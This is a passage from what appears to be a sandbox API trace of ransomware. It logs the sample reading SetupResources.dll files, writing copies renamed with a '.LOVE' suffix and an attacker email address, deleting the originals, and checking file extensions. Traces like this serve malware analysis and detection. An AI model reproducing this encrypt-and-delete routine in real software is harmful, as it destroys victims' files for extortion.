lpOverlapped=0x0) returned 1 [0195.701] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.701] SetEndOfFile (hFile=0x2f4) returned 1 [0195.701] CloseHandle (hObject=0x2f4) returned 1 [0195.702] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.703] SetEndOfFile (hFile=0x29c) returned 1 [0195.704] CloseHandle (hObject=0x29c) returned 1 [0195.704] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.704] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0195.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.705] lstrlenW (lpString=".doc") returned 4 [0195.705] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.705] lstrlenW (lpString=".docx") returned 5 [0195.705] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.705] lstrlenW (lpString=".pdf") returned 4 [0195.705] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.705] lstrlenW (lpString=".xls") returned 4 [0195.705] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.705] lstrlenW (lpString=".xlsx") returned 5 [0195.705] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.705] lstrlenW (lpString=".ppt") returned 4 [0195.705] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.705] lstrlenW (lpString=".zip") returned 4 [0195.705] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.705] lstrlenW (lpString=".rar") returned 4 [0195.705] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.705] lstrlenW (lpString=".bz2") returned 4 [0195.705] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.705] lstrlenW (lpString=".7z") returned 3 [0195.705] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.705] lstrlenW (lpString=".dbf") returned 4 [0195.705] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.705] lstrlenW (lpString=".1cd") returned 4 [0195.705] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.705] lstrlenW (lpString=".jpg") returned 4 [0195.705] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.706] lstrlenW (lpString=".doc") returned 4 [0195.706] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.706] lstrlenW (lpString=".docx") returned 5 [0195.706] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.706] lstrlenW (lpString=".pdf") returned 4 [0195.706] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.706] lstrlenW (lpString=".xls") returned 4 [0195.706] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.706] lstrlenW (lpString=".xlsx") returned 5 [0195.706] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.706] lstrlenW (lpString=".ppt") returned 4 [0195.706] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.706] lstrlenW (lpString=".zip") returned 4 [0195.706] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.706] lstrlenW (lpString=".rar") returned 4 [0195.706] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.706] lstrlenW (lpString=".bz2") returned 4 [0195.706] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.706] lstrlenW (lpString=".7z") returned 3 [0195.706] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.706] lstrlenW (lpString=".dbf") returned 4 [0195.706] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.706] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.706] lstrlenW (lpString=".1cd") returned 4 [0195.707] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.707] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0195.707] lstrlenW (lpString=".jpg") returned 4 [0195.707] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.707] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.707] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.707] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=18264) returned 1 [0195.707] CloseHandle (hObject=0x29c) returned 1 [0195.707] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0195.707] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.708] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.708] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.708] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0195.743] GetLastError () returned 0x0 [0195.743] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4758, lpOverlapped=0x0) returned 1 [0195.784] WriteFile (in: hFile=0x2b0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4760, lpOverlapped=0x0) returned 1 [0195.785] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.785] WriteFile (in: hFile=0x2b0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.785] SetEndOfFile (hFile=0x2b0) returned 1 [0195.786] CloseHandle (hObject=0x2b0) returned 1 [0195.786] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.786] SetEndOfFile (hFile=0x29c) returned 1 [0195.787] CloseHandle (hObject=0x29c) returned 1 [0195.788] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.788] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0195.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.788] lstrlenW (lpString=".doc") returned 4 [0195.788] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.788] lstrlenW (lpString=".docx") returned 5 [0195.788] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.788] lstrlenW (lpString=".pdf") returned 4 [0195.788] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.788] lstrlenW (lpString=".xls") returned 4 [0195.789] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.789] lstrlenW (lpString=".xlsx") returned 5 [0195.789] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.789] lstrlenW (lpString=".ppt") returned 4 [0195.789] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.789] lstrlenW (lpString=".zip") returned 4 [0195.789] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.789] lstrlenW (lpString=".rar") returned 4 [0195.789] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.789] lstrlenW (lpString=".bz2") returned 4 [0195.789] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.789] lstrlenW (lpString=".7z") returned 3 [0195.789] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.789] lstrlenW (lpString=".dbf") returned 4 [0195.789] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.789] lstrlenW (lpString=".1cd") returned 4 [0195.789] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.789] lstrlenW (lpString=".jpg") returned 4 [0195.789] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.789] lstrlenW (lpString=".doc") returned 4 [0195.789] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.790] lstrlenW (lpString=".docx") returned 5 [0195.790] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.790] lstrlenW (lpString=".pdf") returned 4 [0195.790] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.790] lstrlenW (lpString=".xls") returned 4 [0195.790] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.790] lstrlenW (lpString=".xlsx") returned 5 [0195.790] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.790] lstrlenW (lpString=".ppt") returned 4 [0195.790] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.790] lstrlenW (lpString=".zip") returned 4 [0195.790] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.790] lstrlenW (lpString=".rar") returned 4 [0195.790] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.790] lstrlenW (lpString=".bz2") returned 4 [0195.790] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.790] lstrlenW (lpString=".7z") returned 3 [0195.790] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.790] lstrlenW (lpString=".dbf") returned 4 [0195.790] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.790] lstrlenW (lpString=".1cd") returned 4 [0195.790] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0195.790] lstrlenW (lpString=".jpg") returned 4 [0195.790] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.791] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.791] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.791] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=17752) returned 1 [0195.791] CloseHandle (hObject=0x29c) returned 1 [0195.791] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0195.791] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.791] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.791] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.791] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.803] GetLastError () returned 0x0 [0195.803] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4558, lpOverlapped=0x0) returned 1 [0195.837] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4560, lpOverlapped=0x0) returned 1 [0195.839] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.839] WriteFile (in: hFile=0x2fc, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.839] SetEndOfFile (hFile=0x2fc) returned 1 [0195.839] CloseHandle (hObject=0x2fc) returned 1 [0195.840] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.840] SetEndOfFile (hFile=0x29c) returned 1 [0195.841] CloseHandle (hObject=0x29c) returned 1 [0195.841] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.841] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0195.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.841] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.841] lstrlenW (lpString=".doc") returned 4 [0195.842] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.842] lstrlenW (lpString=".docx") returned 5 [0195.842] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.842] lstrlenW (lpString=".pdf") returned 4 [0195.842] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.842] lstrlenW (lpString=".xls") returned 4 [0195.842] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.842] lstrlenW (lpString=".xlsx") returned 5 [0195.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.842] lstrlenW (lpString=".ppt") returned 4 [0195.842] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.842] lstrlenW (lpString=".zip") returned 4 [0195.842] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.842] lstrlenW (lpString=".rar") returned 4 [0195.842] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.842] lstrlenW (lpString=".bz2") returned 4 [0195.842] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.842] lstrlenW (lpString=".7z") returned 3 [0195.842] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.842] lstrlenW (lpString=".dbf") returned 4 [0195.842] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.842] lstrlenW (lpString=".1cd") returned 4 [0195.842] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.842] lstrlenW (lpString=".jpg") returned 4 [0195.842] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.842] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.843] lstrlenW (lpString=".doc") returned 4 [0195.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.843] lstrlenW (lpString=".docx") returned 5 [0195.843] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.843] lstrlenW (lpString=".pdf") returned 4 [0195.843] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.843] lstrlenW (lpString=".xls") returned 4 [0195.843] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.843] lstrlenW (lpString=".xlsx") returned 5 [0195.843] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.843] lstrlenW (lpString=".ppt") returned 4 [0195.843] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.843] lstrlenW (lpString=".zip") returned 4 [0195.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.843] lstrlenW (lpString=".rar") returned 4 [0195.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.844] lstrlenW (lpString=".bz2") returned 4 [0195.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.844] lstrlenW (lpString=".7z") returned 3 [0195.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.844] lstrlenW (lpString=".dbf") returned 4 [0195.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.844] lstrlenW (lpString=".1cd") returned 4 [0195.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0195.844] lstrlenW (lpString=".jpg") returned 4 [0195.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.844] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.844] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.844] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.844] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=14168) returned 1 [0195.844] CloseHandle (hObject=0x29c) returned 1 [0195.844] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0195.845] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.845] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.845] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.845] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.845] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0195.862] GetLastError () returned 0x0 [0195.863] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x3758, lpOverlapped=0x0) returned 1 [0195.876] WriteFile (in: hFile=0x2b0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x3760, lpOverlapped=0x0) returned 1 [0195.878] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.878] WriteFile (in: hFile=0x2b0, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.878] SetEndOfFile (hFile=0x2b0) returned 1 [0195.878] CloseHandle (hObject=0x2b0) returned 1 [0195.879] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.879] SetEndOfFile (hFile=0x29c) returned 1 [0195.880] CloseHandle (hObject=0x29c) returned 1 [0195.880] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.880] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0195.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.880] lstrlenW (lpString=".doc") returned 4 [0195.880] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.880] lstrlenW (lpString=".docx") returned 5 [0195.880] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.880] lstrlenW (lpString=".pdf") returned 4 [0195.880] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.880] lstrlenW (lpString=".xls") returned 4 [0195.881] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.881] lstrlenW (lpString=".xlsx") returned 5 [0195.881] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.881] lstrlenW (lpString=".ppt") returned 4 [0195.881] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.881] lstrlenW (lpString=".zip") returned 4 [0195.881] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.881] lstrlenW (lpString=".rar") returned 4 [0195.881] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.881] lstrlenW (lpString=".bz2") returned 4 [0195.881] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.881] lstrlenW (lpString=".7z") returned 3 [0195.881] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0195.881] lstrlenW (lpString=".dbf") returned 4 [0195.881] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 